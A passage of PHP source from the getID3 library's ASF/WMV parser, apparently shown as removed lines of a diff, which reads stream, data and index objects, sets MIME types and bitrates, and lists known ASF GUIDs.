getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2)); - $videomediaoffset += 2; - $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2)); - $videomediaoffset += 2; - $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc'] = substr($streamdata['type_specific_data'], $videomediaoffset, 4); - $videomediaoffset += 4; - $thisfile_asf_videomedia_currentstream['format_data']['image_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); - $videomediaoffset += 4; - $thisfile_asf_videomedia_currentstream['format_data']['horizontal_pels'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); - $videomediaoffset += 4; - $thisfile_asf_videomedia_currentstream['format_data']['vertical_pels'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); - $videomediaoffset += 4; - $thisfile_asf_videomedia_currentstream['format_data']['colors_used'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); - $videomediaoffset += 4; - $thisfile_asf_videomedia_currentstream['format_data']['colors_important'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); - $videomediaoffset += 4; - $thisfile_asf_videomedia_currentstream['format_data']['codec_data'] = substr($streamdata['type_specific_data'], $videomediaoffset); - - if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { - foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) { - if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) { - $thisfile_asf_videomedia_currentstream['bitrate'] = $dataarray['bitrate']; - $thisfile_video['streams'][$streamnumber]['bitrate'] = $dataarray['bitrate']; - $thisfile_video['bitrate'] += $dataarray['bitrate']; - break; - } - } - } - - $thisfile_asf_videomedia_currentstream['format_data']['codec'] = getid3_riff::fourccLookup($thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']); - - $thisfile_video['streams'][$streamnumber]['fourcc'] = $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']; - $thisfile_video['streams'][$streamnumber]['codec'] = $thisfile_asf_videomedia_currentstream['format_data']['codec']; - $thisfile_video['streams'][$streamnumber]['resolution_x'] = $thisfile_asf_videomedia_currentstream['image_width']; - $thisfile_video['streams'][$streamnumber]['resolution_y'] = $thisfile_asf_videomedia_currentstream['image_height']; - $thisfile_video['streams'][$streamnumber]['bits_per_sample'] = $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel']; - break; - - default: - break; - } - } - } - - while ($this->ftell() < $info['avdataend']) { - $NextObjectDataHeader = $this->fread(24); - $offset = 0; - $NextObjectGUID = substr($NextObjectDataHeader, 0, 16); - $offset += 16; - $NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID); - $NextObjectSize = getid3_lib::LittleEndian2Int(substr($NextObjectDataHeader, $offset, 8)); - $offset += 8; - - switch ($NextObjectGUID) { - case GETID3_ASF_Data_Object: - // Data Object: (mandatory, one only) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for Data object - GETID3_ASF_Data_Object - // Object Size QWORD 64 // size of Data object, including 50 bytes of Data Object header. may be 0 if FilePropertiesObject.BroadcastFlag == 1 - // File ID GUID 128 // unique identifier. identical to File ID field in Header Object - // Total Data Packets QWORD 64 // number of Data Packet entries in Data Object. invalid if FilePropertiesObject.BroadcastFlag == 1 - // Reserved WORD 16 // hardcoded: 0x0101 - - // shortcut - $thisfile_asf['data_object'] = array(); - $thisfile_asf_dataobject = &$thisfile_asf['data_object']; - - $DataObjectData = $NextObjectDataHeader.$this->fread(50 - 24); - $offset = 24; - - $thisfile_asf_dataobject['objectid'] = $NextObjectGUID; - $thisfile_asf_dataobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_dataobject['objectsize'] = $NextObjectSize; - - $thisfile_asf_dataobject['fileid'] = substr($DataObjectData, $offset, 16); - $offset += 16; - $thisfile_asf_dataobject['fileid_guid'] = $this->BytestringToGUID($thisfile_asf_dataobject['fileid']); - $thisfile_asf_dataobject['total_data_packets'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 8)); - $offset += 8; - $thisfile_asf_dataobject['reserved'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 2)); - $offset += 2; - if ($thisfile_asf_dataobject['reserved'] != 0x0101) { - $this->warning('data_object.reserved (0x'.sprintf('%04X', $thisfile_asf_dataobject['reserved']).') does not match expected value of "0x0101"'); - //return false; - break; - } - - // Data Packets array of: variable // - // * Error Correction Flags BYTE 8 // - // * * Error Correction Data Length bits 4 // if Error Correction Length Type == 00, size of Error Correction Data in bytes, else hardcoded: 0000 - // * * Opaque Data Present bits 1 // - // * * Error Correction Length Type bits 2 // number of bits for size of the error correction data. hardcoded: 00 - // * * Error Correction Present bits 1 // If set, use Opaque Data Packet structure, else use Payload structure - // * Error Correction Data - - $info['avdataoffset'] = $this->ftell(); - $this->fseek(($thisfile_asf_dataobject['objectsize'] - 50), SEEK_CUR); // skip actual audio/video data - $info['avdataend'] = $this->ftell(); - break; - - case GETID3_ASF_Simple_Index_Object: - // Simple Index Object: (optional, recommended, one per video stream) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for Simple Index object - GETID3_ASF_Data_Object - // Object Size QWORD 64 // size of Simple Index object, including 56 bytes of Simple Index Object header - // File ID GUID 128 // unique identifier. may be zero or identical to File ID field in Data Object and Header Object - // Index Entry Time Interval QWORD 64 // interval between index entries in 100-nanosecond units - // Maximum Packet Count DWORD 32 // maximum packet count for all index entries - // Index Entries Count DWORD 32 // number of Index Entries structures - // Index Entries array of: variable // - // * Packet Number DWORD 32 // number of the Data Packet associated with this index entry - // * Packet Count WORD 16 // number of Data Packets to sent at this index entry - - // shortcut - $thisfile_asf['simple_index_object'] = array(); - $thisfile_asf_simpleindexobject = &$thisfile_asf['simple_index_object']; - - $SimpleIndexObjectData = $NextObjectDataHeader.$this->fread(56 - 24); - $offset = 24; - - $thisfile_asf_simpleindexobject['objectid'] = $NextObjectGUID; - $thisfile_asf_simpleindexobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_simpleindexobject['objectsize'] = $NextObjectSize; - - $thisfile_asf_simpleindexobject['fileid'] = substr($SimpleIndexObjectData, $offset, 16); - $offset += 16; - $thisfile_asf_simpleindexobject['fileid_guid'] = $this->BytestringToGUID($thisfile_asf_simpleindexobject['fileid']); - $thisfile_asf_simpleindexobject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 8)); - $offset += 8; - $thisfile_asf_simpleindexobject['maximum_packet_count'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4)); - $offset += 4; - $thisfile_asf_simpleindexobject['index_entries_count'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4)); - $offset += 4; - - $IndexEntriesData = $SimpleIndexObjectData.$this->fread(6 * $thisfile_asf_simpleindexobject['index_entries_count']); - for ($IndexEntriesCounter = 0; $IndexEntriesCounter < $thisfile_asf_simpleindexobject['index_entries_count']; $IndexEntriesCounter++) { - $thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_number'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4)); - $offset += 4; - $thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_count'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4)); - $offset += 2; - } - - break; - - case GETID3_ASF_Index_Object: - // 6.2 ASF top-level Index Object (optional but recommended when appropriate, 0 or 1) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for the Index Object - GETID3_ASF_Index_Object - // Object Size QWORD 64 // Specifies the size, in bytes, of the Index Object, including at least 34 bytes of Index Object header - // Index Entry Time Interval DWORD 32 // Specifies the time interval between each index entry in ms. - // Index Specifiers Count WORD 16 // Specifies the number of Index Specifiers structures in this Index Object. - // Index Blocks Count DWORD 32 // Specifies the number of Index Blocks structures in this Index Object. - - // Index Entry Time Interval DWORD 32 // Specifies the time interval between index entries in milliseconds. This value cannot be 0. - // Index Specifiers Count WORD 16 // Specifies the number of entries in the Index Specifiers list. Valid values are 1 and greater. - // Index Specifiers array of: varies // - // * Stream Number WORD 16 // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127. - // * Index Type WORD 16 // Specifies Index Type values as follows: - // 1 = Nearest Past Data Packet - indexes point to the data packet whose presentation time is closest to the index entry time. - // 2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire object or first fragment of an object. - // 3 = Nearest Past Cleanpoint. - indexes point to the closest data packet containing an entire object (or first fragment of an object) that has the Cleanpoint Flag set. - // Nearest Past Cleanpoint is the most common type of index. - // Index Entry Count DWORD 32 // Specifies the number of Index Entries in the block. - // * Block Positions QWORD varies // Specifies a list of byte offsets of the beginnings of the blocks relative to the beginning of the first Data Packet (i.e., the beginning of the Data Object + 50 bytes). The number of entries in this list is specified by the value of the Index Specifiers Count field. The order of those byte offsets is tied to the order in which Index Specifiers are listed. - // * Index Entries array of: varies // - // * * Offsets DWORD varies // An offset value of 0xffffffff indicates an invalid offset value - - // shortcut - $thisfile_asf['asf_index_object'] = array(); - $thisfile_asf_asfindexobject = &$thisfile_asf['asf_index_object']; - - $ASFIndexObjectData = $NextObjectDataHeader.$this->fread(34 - 24); - $offset = 24; - - $thisfile_asf_asfindexobject['objectid'] = $NextObjectGUID; - $thisfile_asf_asfindexobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_asfindexobject['objectsize'] = $NextObjectSize; - - $thisfile_asf_asfindexobject['entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); - $offset += 4; - $thisfile_asf_asfindexobject['index_specifiers_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2)); - $offset += 2; - $thisfile_asf_asfindexobject['index_blocks_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); - $offset += 4; - - $ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count']); - for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) { - $IndexSpecifierStreamNumber = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2)); - $offset += 2; - $thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['stream_number'] = $IndexSpecifierStreamNumber; - $thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2)); - $offset += 2; - $thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type_text'] = $this->ASFIndexObjectIndexTypeLookup($thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']); - } - - $ASFIndexObjectData .= $this->fread(4); - $thisfile_asf_asfindexobject['index_entry_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); - $offset += 4; - - $ASFIndexObjectData .= $this->fread(8 * $thisfile_asf_asfindexobject['index_specifiers_count']); - for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) { - $thisfile_asf_asfindexobject['block_positions'][$IndexSpecifiersCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 8)); - $offset += 8; - } - - $ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count'] * $thisfile_asf_asfindexobject['index_entry_count']); - for ($IndexEntryCounter = 0; $IndexEntryCounter < $thisfile_asf_asfindexobject['index_entry_count']; $IndexEntryCounter++) { - for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) { - $thisfile_asf_asfindexobject['offsets'][$IndexSpecifiersCounter][$IndexEntryCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); - $offset += 4; - } - } - break; - - - default: - // Implementations shall ignore any standard or non-standard object that they do not know how to handle. - if ($this->GUIDname($NextObjectGUIDtext)) { - $this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF body at offset '.($offset - 16 - 8)); - } else { - $this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF body at offset '.($this->ftell() - 16 - 8)); - } - $this->fseek(($NextObjectSize - 16 - 8), SEEK_CUR); - break; - } - } - - if (isset($thisfile_asf_codeclistobject['codec_entries']) && is_array($thisfile_asf_codeclistobject['codec_entries'])) { - foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) { - switch ($streamdata['information']) { - case 'WMV1': - case 'WMV2': - case 'WMV3': - case 'MSS1': - case 'MSS2': - case 'WMVA': - case 'WVC1': - case 'WMVP': - case 'WVP2': - $thisfile_video['dataformat'] = 'wmv'; - $info['mime_type'] = 'video/x-ms-wmv'; - break; - - case 'MP42': - case 'MP43': - case 'MP4S': - case 'mp4s': - $thisfile_video['dataformat'] = 'asf'; - $info['mime_type'] = 'video/x-ms-asf'; - break; - - default: - switch ($streamdata['type_raw']) { - case 1: - if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) { - $thisfile_video['dataformat'] = 'wmv'; - if ($info['mime_type'] == 'video/x-ms-asf') { - $info['mime_type'] = 'video/x-ms-wmv'; - } - } - break; - - case 2: - if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) { - $thisfile_audio['dataformat'] = 'wma'; - if ($info['mime_type'] == 'video/x-ms-asf') { - $info['mime_type'] = 'audio/x-ms-wma'; - } - } - break; - - } - break; - } - } - } - - switch (isset($thisfile_audio['codec']) ? $thisfile_audio['codec'] : '') { - case 'MPEG Layer-3': - $thisfile_audio['dataformat'] = 'mp3'; - break; - - default: - break; - } - - if (isset($thisfile_asf_codeclistobject['codec_entries'])) { - foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) { - switch ($streamdata['type_raw']) { - - case 1: // video - $thisfile_video['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']); - break; - - case 2: // audio - $thisfile_audio['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']); - - // AH 2003-10-01 - $thisfile_audio['encoder_options'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][0]['description']); - - $thisfile_audio['codec'] = $thisfile_audio['encoder']; - break; - - default: - $this->warning('Unknown streamtype: [codec_list_object][codec_entries]['.$streamnumber.'][type_raw] == '.$streamdata['type_raw']); - break; - - } - } - } - - if (isset($info['audio'])) { - $thisfile_audio['lossless'] = (isset($thisfile_audio['lossless']) ? $thisfile_audio['lossless'] : false); - $thisfile_audio['dataformat'] = (!empty($thisfile_audio['dataformat']) ? $thisfile_audio['dataformat'] : 'asf'); - } - if (!empty($thisfile_video['dataformat'])) { - $thisfile_video['lossless'] = (isset($thisfile_audio['lossless']) ? $thisfile_audio['lossless'] : false); - $thisfile_video['pixel_aspect_ratio'] = (isset($thisfile_audio['pixel_aspect_ratio']) ? $thisfile_audio['pixel_aspect_ratio'] : (float) 1); - $thisfile_video['dataformat'] = (!empty($thisfile_video['dataformat']) ? $thisfile_video['dataformat'] : 'asf'); - } - if (!empty($thisfile_video['streams'])) { - $thisfile_video['resolution_x'] = 0; - $thisfile_video['resolution_y'] = 0; - foreach ($thisfile_video['streams'] as $key => $valuearray) { - if (($valuearray['resolution_x'] > $thisfile_video['resolution_x']) || ($valuearray['resolution_y'] > $thisfile_video['resolution_y'])) { - $thisfile_video['resolution_x'] = $valuearray['resolution_x']; - $thisfile_video['resolution_y'] = $valuearray['resolution_y']; - } - } - } - $info['bitrate'] = (isset($thisfile_audio['bitrate']) ? $thisfile_audio['bitrate'] : 0) + (isset($thisfile_video['bitrate']) ? $thisfile_video['bitrate'] : 0); - - if ((!isset($info['playtime_seconds']) || ($info['playtime_seconds'] <= 0)) && ($info['bitrate'] > 0)) { - $info['playtime_seconds'] = ($info['filesize'] - $info['avdataoffset']) / ($info['bitrate'] / 8); - } - - return true; - } - - /** - * @param int $CodecListType - * - * @return string - */ - public static function codecListObjectTypeLookup($CodecListType) { - static $lookup = array( - 0x0001 => 'Video Codec', - 0x0002 => 'Audio Codec', - 0xFFFF => 'Unknown Codec' - ); - - return (isset($lookup[$CodecListType]) ? $lookup[$CodecListType] : 'Invalid Codec Type'); - } - - /** - * @return array - */ - public static function KnownGUIDs() { - static $GUIDarray = array( - 'GETID3_ASF_Extended_Stream_Properties_Object' => '14E6A5CB-C672-4332-8399-A96952065B5A', - 'GETID3_ASF_Padding_Object' => '1806D474-CADF-4509-A4BA-9AABCB96AAE8', - 'GETID3_ASF_Payload_Ext_Syst_Pixel_Aspect_Ratio' => '1B1EE554-F9EA-4BC8-821A-376B74E4C4B8', - 'GETID3_ASF_Script_Command_Object' => '1EFB1A30-0B62-11D0-A39B-00A0C90348F6', - 'GETID3_ASF_No_Error_Correction' => '20FB5700-5B55-11CF-A8FD-00805F5C442B', - 'GETID3_ASF_Content_Branding_Object' => '2211B3FA-BD23-11D2-B4B7-00A0C955FC6E', - 'GETID3_ASF_Content_Encryption_Object' => '2211B3FB-BD23-11D2-B4B7-00A0C955FC6E', - 'GETID3_ASF_Digital_Signature_Object' => '2211B3FC-BD23-11D2-B4B7-00A0C955FC6E', - 'GETID3_ASF_Extended_Content_Encryption_Object' => '298AE614-2622-4C17-B935-DAE07EE9289C', - 'GETID3_ASF_Simple_Index_Object' => '33000890-E5B1-11CF-89F4-00A0C90349CB', - 'GETID3_ASF_Degradable_JPEG_Media' => '35907DE0-E415-11CF-A917-00805F5C442B', - 'GETID3_ASF_Payload_Extension_System_Timecode' => '399595EC-8667-4E2D-8FDB-98814CE76C1E', - 'GETID3_ASF_Binary_Media' => '3AFB65E2-47EF-40F2-AC2C-70A90D71D343', - 'GETID3_ASF_Timecode_Index_Object' => '3CB73FD0-0C4A-4803-953D-EDF7B6228F0C', - 'GETID3_ASF_Metadata_Library_Object' => '44231C94-9498-49D1-A141-1D134E457054', - 'GETID3_ASF_Reserved_3' => '4B1ACBE3-100B-11D0-A39B-00A0C90348F6', - 'GETID3_ASF_Reserved_4' => '4CFEDB20-75F6-11CF-9C0F-00A0C90349CB', - 'GETID3_ASF_Command_Media' => '59DACFC0-59E6-11D0-A3AC-00A0C90348F6', - 'GETID3_ASF_Header_Extension_Object' => '5FBF03B5-A92E-11CF-8EE3-00C00C205365', - 'GETID3_ASF_Media_Object_Index_Parameters_Obj' => '6B203BAD-3F11-4E84-ACA8-D7613DE2CFA7', - 'GETID3_ASF_Header_Object' => '75B22630-668E-11CF-A6D9-00AA0062CE6C', - 'GETID3_ASF_Content_Description_Object' => '75B22633-668E-11CF-A6D9-00AA0062CE6C', - 'GETID3_ASF_Error_Correction_Object' => '75B22635-668E-11CF-A6D9-00AA0062CE6C', - 'GETID3_ASF_Data_Object' => '75B22636-668E-11CF-A6D9-00AA0062CE6C', - 'GETID3_ASF_Web_Stream_Media_Subtype' => '776257D4-C627-41CB-8F81-7AC7FF1C40CC', - 'GETID3_ASF_Stream_Bitrate_Properties_Object' => '7BF875CE-468D-11D1-8D82-006097C9A2B2', - 'GETID3_ASF_Language_List_Object' => '7C4346A9-EFE0-4BFC-B229-393EDE415C85', - 'GETID3_ASF_Codec_List_Object' => '86D15240-311D-11D0-A3A4-00A0C90348F6', - 'GETID3_ASF_Reserved_2' => '86D15241-311D-11D0-A3A4-00A0C90348F6', - 'GETID3_ASF_File_Properties_Object' => '8CABDCA1-A947-11CF-8EE4-00C00C205365', - 'GETID3_ASF_File_Transfer_Media' => '91BD222C-F21C-497A-8B6D-5AA86BFC0185', - 'GETID3_ASF_Old_RTP_Extension_Data' => '96800C63-4C94-11D1-837B-0080C7A37F95', - 'GETID3_ASF_Advanced_Mutual_Exclusion_Object' => 'A08649CF-4775-4670-8A16-6E35357566CD', - 'GETID3_ASF_Bandwidth_Sharing_Object' => 'A69609E6-517B-11D2-B6AF-00C04FD908E9', - 'GETID3_ASF_Reserved_1' => 'ABD3D211-A9BA-11cf-8EE6-00C00C205365', - 'GETID3_ASF_Bandwidth_Sharing_Exclusive' => 'AF6060AA-5197-11D2-B6AF-00C04FD908E9', - 'GETID3_ASF_Bandwidth_Sharing_Partial' => 'AF6060AB-5197-11D2-B6AF-00C04FD908E9', - 'GETID3_ASF_JFIF_Media' => 'B61BE100-5B4E-11CF-A8FD-00805F5C442B', - 'GETID3_ASF_Stream_Properties_Object' => 'B7DC0791-A9B7-11CF-8EE6-00C00C205365', - 'GETID3_ASF_Video_Media' => 'BC19EFC0-5B4D-11CF-A8FD-00805F5C442B', - 'GETID3_ASF_Audio_Spread' => 'BFC3CD50-618F-11CF-8BB2-00AA00B4E220', - 'GETID3_ASF_Metadata_Object' => 'C5F8CBEA-5BAF-4877-8467-AA8C44FA4CCA', - 'GETID3_ASF_Payload_Ext_Syst_Sample_Duration' => 'C6BD9450-867F-4907-83A3-C77921B733AD', - 'GETID3_ASF_Group_Mutual_Exclusion_Object' => 'D1465A40-5A79-4338-B71B-E36B8FD6C249', - 'GETID3_ASF_Extended_Content_Description_Object' => 'D2D0A440-E307-11D2-97F0-00A0C95EA850', - 'GETID3_ASF_Stream_Prioritization_Object' => 'D4FED15B-88D3-454F-81F0-ED5C45999E24', - 'GETID3_ASF_Payload_Ext_System_Content_Type' => 'D590DC20-07BC-436C-9CF7-F3BBFBF1A4DC', - 'GETID3_ASF_Old_File_Properties_Object' => 'D6E229D0-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_ASF_Header_Object' => 'D6E229D1-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_ASF_Data_Object' => 'D6E229D2-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Index_Object' => 'D6E229D3-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Stream_Properties_Object' => 'D6E229D4-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Content_Description_Object' => 'D6E229D5-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Script_Command_Object' => 'D6E229D6-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Marker_Object' => 'D6E229D7-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Component_Download_Object' => 'D6E229D8-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Stream_Group_Object' => 'D6E229D9-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Scalable_Object' => 'D6E229DA-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Prioritization_Object' => 'D6E229DB-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Bitrate_Mutual_Exclusion_Object' => 'D6E229DC-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Inter_Media_Dependency_Object' => 'D6E229DD-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Rating_Object' => 'D6E229DE-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Index_Parameters_Object' => 'D6E229DF-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Color_Table_Object' => 'D6E229E0-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Language_List_Object' => 'D6E229E1-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Audio_Media' => 'D6E229E2-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Video_Media' => 'D6E229E3-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Image_Media' => 'D6E229E4-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Timecode_Media' => 'D6E229E5-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Text_Media' => 'D6E229E6-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_MIDI_Media' => 'D6E229E7-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Command_Media' => 'D6E229E8-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_No_Error_Concealment' => 'D6E229EA-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Scrambled_Audio' => 'D6E229EB-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_No_Color_Table' => 'D6E229EC-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_SMPTE_Time' => 'D6E229ED-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_ASCII_Text' => 'D6E229EE-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Unicode_Text' => 'D6E229EF-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_HTML_Text' => 'D6E229F0-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_URL_Command' => 'D6E229F1-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Filename_Command' => 'D6E229F2-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_ACM_Codec' => 'D6E229F3-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_VCM_Codec' => 'D6E229F4-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_QuickTime_Codec' => 'D6E229F5-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_DirectShow_Transform_Filter' => 'D6E229F6-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_DirectShow_Rendering_Filter' => 'D6E229F7-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_No_Enhancement' => 'D6E229F8-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Unknown_Enhancement_Type' => 'D6E229F9-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Temporal_Enhancement' => 'D6E229FA-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Spatial_Enhancement' => 'D6E229FB-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Quality_Enhancement' => 'D6E229FC-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Number_of_Channels_Enhancement' => 'D6E229FD-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Frequency_Response_Enhancement' => 'D6E229FE-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Media_Object' => 'D6E229FF-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Mutex_Language' => 'D6E22A00-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Mutex_Bitrate' => 'D6E22A01-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Mutex_Unknown' => 'D6E22A02-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_ASF_Placeholder_Object' => 'D6E22A0E-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Old_Data_Unit_Extension_Object' => 'D6E22A0F-35DA-11D1-9034-00A0C90349BE', - 'GETID3_ASF_Web_Stream_Format' => 'DA1E6B13-8359-4050-B398-388E965BF00C', - 'GETID3_ASF_Payload_Ext_System_File_Name' => 'E165EC0E-19ED-45D7-B4A7-25CBD1E28E9B', - 'GETID3_ASF_Marker_Object' => 'F487CD01-A951-11CF-8EE6-00C00C205365', - 'GETID3_ASF_Timecode_Index_Parameters_Object' => 'F55E496D-9797-4B5D-8C8B-604DFE9BFB24', - 'GETID3_ASF_Audio_Media' => 'F8699E40-5B4D-11CF-A8FD-00805F5C442B', - 'GETID3_ASF_Media_Object_Index_Object' => 'FEB103F8-12AD-4C64-840F-2A1D2F7AD48C', - 'GETID3_ASF_Alt_Extended_Content_Encryption_Obj' => 'FF889EF1-ADEE-40DA-9E71-98704BB928CE', - 'GETID3_ASF_Index_Placeholder_Object' => 'D9AADE20-7C17-4F9C-BC28-8555DD98E2A2', // http://cpan.uwinnipeg.ca/htdocs/Audio-WMA/Audio/WMA.pm.html - 'GETID3_ASF_Compatibility_Object' => '26F18B5D-4584-47EC-9F5F-0E651F0452C9', // http://cpan.uwinnipeg.ca/htdocs/Audio-WMA/Audio/WMA.pm.html - ); - return $GUIDarray; - } - - /** - * @param string $GUIDstring - * - * @return string|false - */ - public static function GUIDname($GUIDstring) { - static $GUIDarray = array(); - if (empty($GUIDarray)) { - $GUIDarray = self::KnownGUIDs(); - } - return array_search($GUIDstring, $GUIDarray); - } - - /** - * @param int $id - * - * @return string - */ - public static function ASFIndexObjectIndexTypeLookup($id) { - static $ASFIndexObjectIndexTypeLookup = array(); - if (empty($ASFIndexObjectIndexTypeLookup)) { - $ASFIndexObjectIndexTypeLookup[1] = 'Nearest Past Data Packet'; - $ASFIndexObjectIndexTypeLookup[2] = 'Nearest Past Media Object'; - $ASFIndexObjectIndexTypeLookup[3] = 'Nearest Past Cleanpoint'; - } - return (isset($ASFIndexObjectIndexTypeLookup[$id]) ? $ASFIndexObjectIndexTypeLookup[$id] : 'invalid'); - } - - /** - * @param string $GUIDstring - * - * @return string - */ - public static function GUIDtoBytestring($GUIDstring) { - // Microsoft defines these 16-byte (128-bit) GUIDs in the strangest way: - // first 4 